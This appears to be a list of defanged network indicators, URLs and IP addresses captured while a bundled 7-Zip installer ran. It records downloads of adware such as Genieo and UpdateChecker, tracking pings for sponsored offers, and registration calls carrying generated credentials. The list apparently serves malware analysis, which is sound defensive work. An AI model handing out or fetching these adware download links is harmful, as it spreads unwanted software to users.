hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=4&utmn=1615058561&utmhn=installer.filebulldog.com&utmhid=1443136973&utmr=-&utmp=Installer_Init&utmht=1424736283075&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://54.231.18.113/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://d32c8485dhfcya.cloudfront.net/mirror/filesfrog/UpdateCheckerSetup.exe	54.230.201.48
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt	65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action1=install.smt	65.255.35.144
hxxp://up.soft365.com/Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch	174.36.247.67
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716	65.255.35.144
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install	65.255.35.144
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=df2ee0eca619e745941b88b65e390118&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=3d24dd651e102223c8fe826c6ca042dd&tokyo_csrf2_timestamp=1424736262&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.5741040529168842
hxxp://installer.filebulldog.com/installer/ajax	78.138.127.15
hxxp://install-cdn.sourceapp.info/sd?is=sm	195.12.225.83
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.8803346687573486	78.138.127.15
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=QgW8pN5r26avTpvRFjYpwrnjMnh 4VIhoo6Du22yq2oyIvs8NVvu9kXFDxkTgufFWTYC2lEyeiRDEmmTwM3HfmppKfyKdx0 YLeCUjG1M6fU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX3zVcyy3MRY3QYyRbCXvjzG4dFQ/NTua81jyiM/3By1Kajeua45kQ/7H/jy8G4FGJY4SiD403Los	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUfrYVG/XirhPBPEhRyyBD7D2M6U1Ze8GFFzslN/Oom5DbE2hSZV1srvsrduYhMMj22RKvLYtrSkCxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9fNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUr60ZqS4ggdNg==	54.230.202.140
hxxp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe	212.7.199.182
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=xY8ohDYpM h6gEVzoYeGJ5/TkbZ2czqAmDz3Um00FGjc 6Z9uWa7kH0QpZ Jj0 v3D2calArHLvSr4mOXafqVOowNKLwk dee2YPwOTHZ23ajkClo2qeSw0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo 3nuYt DhqAmsppGiwDSwS/vPsyNPKM2I7cNc4nWLoq37xzRSVA0HdwFMjymFb0gkZj2cSnzmAk8cPFMpLyP dsuM51q1orrP/bWfh6OWL1uHRUnrF1Wi2cK8TG /x4eATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cMbZ/Jem887RLeTTwvGFftFhMIS/MrvOIHlNforgq/TaKwUskQGA4cvMCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7ap5G48IVa2vuvAoz92eEdw==	54.197.238.106
hxxp://download.genieo.com/partner/gim394750002/release/live/InstallGenieo.exe	54.231.17.249
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUb9PKObAHk8Ms IILilpWF3L95ytGxurmx7yxagmX1ikbxkEeDXhjVSM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1	54.230.202.140
hxxp://installer.filebulldog.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=vjRn qH YuPulzvurkdMteaHkvwiennMQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTv1QHs3X92ilH4s2O1I39PFhQC drCF7eFc68xQtOPoFcSR18f3JnQLBWPynJnrFbZ2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hNMAVKhukry7P4fECSsJwrnjMnh 4VIhLuUtzlm7/AT8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bQ94V6p2b0iPoAQkWl KJecj1mEjbWMPAZZWmyv2w9PlybvQmbZnorvSOrYhj46XfQgpnHZJVLNW8M HGYhu8yVDIpWidYVXtF5ewo25xH dugxP4Tpn7X9BPEhRyyBD7ADYwDanr6NLoe9XigMTJMs0sa4f4Pfg2ziLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Boayvex8cQAt	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKOcXM978RrvxgTxIUcsgQ w0eteH8KxBtakHX utQO2t7GJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvanZg GKSxq5XHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRowJxLy8Rm 8l	54.230.202.140
hxxp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&0.963330837142687	78.138.127.15
hxxp://online.GOOBZO.com/online/Report.aspx
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=2&index_in_screen=1&index_in_session=2&0.28266240010454496	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuE13rHoa9hTh4E7mrr1h80jmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BncPfxNFD/ ad56ymZ4o9xQb6x14lCSqs/5Ds6yGKCI6pynfaNYH8L TRcHKuVeTpTHue1RZyJkvyMpFjoih9vt3JLgG5QML1YoqYA4lDRxGC8Drt0aCEZ8psmZLci oo11FFwnVblZzh9Kw5QsIDqFTDvvWGrJMjBvGZUjN1fBZVWxYc i3eUoktpCioILhsqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppnbJKYwPfuhAwwtn0cGcExBQC drCF7eFA85gupkG6porE8ANtsVzeGuFeofeewt/F/cWTWtK18pxfPPqf5kniuhyljEl5CCZniFfHVexMiakRR0NmOWSSOo/P jz2EcHP40kJQMKVZbKRjC4E7vSTS/np5um4urBp7yJ8dcNjz27n9CATVj9 V rk3e81mP0GgMAIK3odR5fq5N3vNZj9I0JuWqrkLjngaVLoCbAe5HS7fpTOHWndp4dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Nr9GadsXJyf8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDuZtz4s1IP6Cg==	54.230.202.140
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/k6kR j50tpPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1gnbzUS3m/7WLONeuBglAqxaHHlbCgpQ5v1r/ZKpWQiXoklGVmqeZFU8n8JlmuEfM7iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBffNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpqN65rjmRD/rVGG/Xal99ijhKIPjTcuiw=	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaX4l9XCm/Va/RnP0Nx2OBM8ZzdmTcUAA7BPEhRyyBD7B8meHxUMSBFO3yRv1nYrxg2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppk0XByrlXk6WYShAYseyySxQC drCF7eFFzHXlUtGqMoYZB4BtbHc1/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY=	54.230.202.140
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=df2ee0eca619e745941b88b65e390118&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=3d24dd651e102223c8fe826c6ca042dd&tokyo_csrf2_timestamp=1424736262&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.5741040529168842	78.138.127.15
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=rdr4ABua5zf4YOj/qSs/oDNf4tZyU5xviUSU3wY9EyZgKkdlz1lRoe viA2bCzBJ8S85LP28b9XoIGt9tn96dHw rBcui5QxHlNforgq/TaKwUskQGA4cvMCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7XFFqpjiZ60QXz7IwMGK89ATjem6YnzT/dGTkd6gyszRJIjNV6lR7KTeZP8VdKLt4wwdTpWPyf9YL2yY9rxcvBS7yF1X8DhBQkP05wl0iTi0jLobyCDEbrE8NqMDBJ5NxjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjyT/ 96F yQI7D3/z4mwXKlGgYBPx2lRdwCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OCftId6Zcv3VsqwZwxAX4ff	54.197.238.106
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.14264361427969802	78.138.127.15
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736167&SBPIDS=0
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=yhrBLBbZM9XpxK87b oDM5/TkbZ2czqA2DhchTQQdk2ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE379Ved lGhgWaAkcN/ 7vGRLvfUXjXVQdWHpGgnXRNTSyM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXw8DDkunVjjbzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO9P9wsn1RiJIwB5esNx9efU=	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/GBdpOSxhWVkVmCwhd6chxMOD1JqSN m18xc 6SBXrc4qYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ==	54.230.202.140
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfmRMnMnoBE379Ved lGhgWaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXw8DDkunVjjbzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO5m3PizUg/oK&product=EXTFirefox&rnd=1424736267&it=1&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1	54.197.238.106
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUTz0zfD6NQ4eEwAaRG2pHiUPesst1ukiDjOJGv9qSLCFMXL1aGIyEdEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEvxMJiM8GJo0cAmFWBqey3IIDWGoEVJF8ybZEVgy/VBXa2CkarwxdzgnyucPTMPOBI=	54.230.202.140
hxxp://www.google-analytics.com/ga.js	173.194.113.198
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuE13rHoa9hTh4E7mrr1h80jmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BncPfxNFD/ ad56ymZ4o9xQb6x14lCSqs/5Ds6yGKCI6pynfaNYH8L/fV9OCtHXZfA3mXJEY39mHAhwsRGINruh3JLgG5QML1ZiKaU9wneZ7Og0HjHhWWOg7s3nxyonjvBxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoXwZfZunRVLss0HBZyMufOb6uN9Kjt Am94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet8m4gjbKdnB5g==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUZR0WuEl7dbF0kOkPP/ lcpu8eAfWsOK5ZLOhm7KiO348MKRqZY TBH6dnj3H5nABveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY=	54.230.202.140
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/k6kR j50tpPNjxRBLtb45w0P6lVvKYPt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqD5OatmcvVLieXHN8cCnmNxJCi6Kflc7uWLazpewXw1gnbzUS3m/7WLONeuBglAqxaHHlbCgpQ5tCJ2GnHtzkHXfMyWTmYmuAfzApjLfBz7r7ZtsfxNpcZsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I PqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1JkwA4PeZyroPEn7DqvLFbw==	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&0.9529827904672641	78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=2&index_in_screen=1&index_in_session=2&0.2659508971676753	78.138.127.15
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736160&SBPIDS=1&KA=1
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bbf5d60-0613-4bcc-93c8-28817ab1fcc2&Password=bbRSxORx&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736162&SBPIDS=1&KA=1
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=hXeqmv1IpemgBgKVQb1/X7njMnh 4VIhFaSqTE96QyGz6uevfqaymmuKg2XFbqUQvoXpSr3iMCtzVRIw0b4PP/CV4d3G7GmUPBFa8TQ 5Z19hZ5O6CQgZn5dMiu8MPG0PeFeqdm9Ij6AEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5ccpWfyzMekSM8JTwZBXEaArZ2BLw79NpCFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aAQoVNoD34vz2VZFceaRoNmrNmFLslsB7o9tHOTKYSkY72A4eum4h2PWYbK4Kjl7kNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5/FbCMRz6yfZyn0gsuckjyjmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Bm6k8D8vgTIkrGdcJcNjDwI=	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUVDwWd9hvLDxFAL52sIXt4XYryyVYEb/Xz3ZLnbsoZ9zjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=AZwPyJy3TZi4/9HrRpQ3bLnjMnh 4VIh0p 2AZY350X8ln8Iap23//2TEkHeJNDUJPiqQQOytxw4COacNh4EPJ8D0cq40/0vd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyobLZ4ZHHnwlV4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ==	54.230.202.140
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.4460082802343849	78.138.127.15
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=2&utmn=1085911575&utmhn=installer.filebulldog.com&utmhid=1985456636&utmr=-&utmp=Offer_Accepted&utmht=1424736257879&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~	173.194.113.198
hxxp://d3lspqs37tt24s.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.230.200.34
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKOWnHKXQ4ByT9CUHeR8YCF3cICI7/tQlejZeojEglKF4wTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/EwmIzwYmjRwCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OCfK5w9Mw84Eg==	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl8DAJatLB/sX	54.230.202.140
